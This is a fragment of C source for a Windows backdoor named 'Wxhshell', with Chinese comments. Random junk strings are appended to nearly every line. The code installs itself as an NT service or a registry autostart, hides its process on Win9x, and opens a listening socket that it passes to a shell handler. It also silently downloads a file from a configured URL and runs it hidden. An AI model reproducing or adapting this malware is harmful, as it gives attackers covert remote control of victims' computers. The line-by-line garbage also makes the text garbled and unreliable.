ULONG UniqueProcessId; 0<A*I{,4L
ULONG InheritedFromUniqueProcessId; fC"?r6d
} PROCESS_BASIC_INFORMATION; <> HI(6\@Z
D0\*WK$
PROCNTQSIP NtQueryInformationProcess; 7.{+8#~nV
zKk=R6w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6k')12~'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hJFxT8B/
"pX|?ap
HANDLE hProcess; 0dx%b677d
PROCESS_BASIC_INFORMATION pbi; @ #J2t#
V#599-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0XE6Hw
if(NULL == hInst ) return 0; JWu0VLo
Y)8 Py1}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XR=ebl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5a6d3u/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {2xc/
='I2&I,)
if (!NtQueryInformationProcess) return 0; {'P?wv
=sAOWI,8!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7F]oK0l_
if(!hProcess) return 0; -iy17$
}K.)yv n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P2>_qyX
T*k{^=6"!
CloseHandle(hProcess); s Wj:m )
{o'(_.{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]q#"8=
if(hProcess==NULL) return 0; m{*_%tjN0
3kr.'O
HMODULE hMod; UM1h[#?&V)
char procName[255]; d|tNn@jN
unsigned long cbNeeded; z\k6."e_&
N#OO{`":Z`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $W;r S7b
NHdNCHhA>-
CloseHandle(hProcess); (=%0x"'
BN`tiPNEp
if(strstr(procName,"services")) return 1; // 以服务启动 Nc EPPl0I
zcV~)go6
return 0; // 注册表启动 *wdNZ
} 3cqc<
M%13b$i~f
// 主模块 J"eE9FLM
int StartWxhshell(LPSTR lpCmdLine) 0CeBU(U+|R
{ NljcHe}Qy
SOCKET wsl; !{r@ H+Kf
BOOL val=TRUE; 'cN3Vv k
int port=0; Rs]Y/9F;{
struct sockaddr_in door; rb.:(d)T
lA,[&
if(wscfg.ws_autoins) Install(); #cl|5jm+m#
/jc;
2
port=atoi(lpCmdLine); q\s>Oe6$
uq!d8{IMu
if(port<=0) port=wscfg.ws_port; 27JZwlzZ
i:R_g]
WSADATA data; i1qmFvksl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b5
AP{
#
0d,&)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |@D%y&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CrGDo9JdvT
door.sin_family = AF_INET; U4NA'1yo
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w`Cs,
door.sin_port = htons(port); {bNKyT
n7#}i2:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R4f_Kio
closesocket(wsl); G7#<Jo<8
return 1; .A6Jj4`-
} ?Ql<s8
|dqAT .
if(listen(wsl,2) == INVALID_SOCKET) { K}dvXO@=|c
closesocket(wsl); C%P"\>5@
return 1; x*_'uP oS
} &K"qnng/y
Wxhshell(wsl); lt C
WSACleanup(); >{h/4T@
0@jhNtL
return 0; 3jM+j_nR
$Ehe8,=fj
} dEoW8 M#
F$,i_7Z&6
// 以NT服务方式启动 ibuoq X`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |HTTTz9R.
{ =W'{xG}
DWORD status = 0; y(6*)~Dh
DWORD specificError = 0xfffffff; h"$],=
K"=I,Vr:
serviceStatus.dwServiceType = SERVICE_WIN32; /n 1H;~f]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =.q8*7UY
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x1.yi-
serviceStatus.dwWin32ExitCode = 0; 3AC/;WB9
serviceStatus.dwServiceSpecificExitCode = 0; uWr vkLGN
serviceStatus.dwCheckPoint = 0; Qvhy9Cr;
serviceStatus.dwWaitHint = 0; nxx&aq(._
J+nUxF;EE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y}>bJ:
if (hServiceStatusHandle==0) return; !X{>?.@~
4q`e<!MP)q
status = GetLastError(); ,6T3:qkkvF
if (status!=NO_ERROR) U NescZ
{ U=KFbL1Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; X_J(P?
serviceStatus.dwCheckPoint = 0; $-BM`Zt0;
serviceStatus.dwWaitHint = 0; X=X
serviceStatus.dwWin32ExitCode = status; dj:6c@n
serviceStatus.dwServiceSpecificExitCode = specificError; 5uvFCY./c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); II}3w#r4
return; ujoJ6UOG
} F@@6D0\X?
IaYy5Rw
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2u^/yl
serviceStatus.dwCheckPoint = 0; ;fKFmY41
serviceStatus.dwWaitHint = 0; /: }"Z b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~`CWpc:
} 4wx_@8
V%'+ ob6
// 处理NT服务事件,比如:启动、停止 e_t""h4D
VOID WINAPI NTServiceHandler(DWORD fdwControl) af;~<oa
{ i{nFk',xX
switch(fdwControl) QR{pph*zn-
{ p V`)
case SERVICE_CONTROL_STOP: %b3s|o3An
serviceStatus.dwWin32ExitCode = 0; JQ"w{O
serviceStatus.dwCurrentState = SERVICE_STOPPED; [f@[gE
serviceStatus.dwCheckPoint = 0; "s
rRlu
serviceStatus.dwWaitHint = 0; |7E1yu
{ jf~-;2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NR0fxh
} 8\_ YP3
return; #bdSH)V
case SERVICE_CONTROL_PAUSE: -ZE]VO*F
serviceStatus.dwCurrentState = SERVICE_PAUSED; C\5"Kb
break; ~BD 80s:f
case SERVICE_CONTROL_CONTINUE: ZuVucP>>_d
serviceStatus.dwCurrentState = SERVICE_RUNNING; =MokbK2
break; #TKByOcD2!
case SERVICE_CONTROL_INTERROGATE: 3Ay<2v
break; -|3feYb'
}; }E](NvCq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +G?nmXG[vj
} .0u@PcE:O
5"I8ric
// 标准应用程序主函数 /.%AE|0+X
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tU>?j1
{ _';oT*#
,e5#wz
// 获取操作系统版本 !p|d[
OsIsNt=GetOsVer(); :]k`;;vh
GetModuleFileName(NULL,ExeFile,MAX_PATH); gKWsmx!["
:PF6xL&
// 从命令行安装 0l>4Umxr{J
if(strpbrk(lpCmdLine,"iI")) Install(); 3=xN)j#B
>]S-a-|Bp
// 下载执行文件 _ -C{:rV
if(wscfg.ws_downexe) { Jde@Th
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K&>+<bJ_
WinExec(wscfg.ws_filenam,SW_HIDE); a+ lGN
} _h8|shyP
]Geg;[t
if(!OsIsNt) { O7D61~G]
// 如果时win9x,隐藏进程并且设置为注册表启动 ;dE'# Kb
HideProc(); ;ax%H @o
StartWxhshell(lpCmdLine); Dt\rMSjZ9
} GYK&QYi,
else !JWZ}uM6
if(StartFromService()) UbSAyf
// 以服务方式启动 Ym5ji$!2
StartServiceCtrlDispatcher(DispatchTable); cfA)Ui
else 0L|D1_k[
// 普通方式启动 E\dJb}"x %
StartWxhshell(lpCmdLine); /#xx,?~xx0
S"G`j!m1
return 0; s\A4y "
}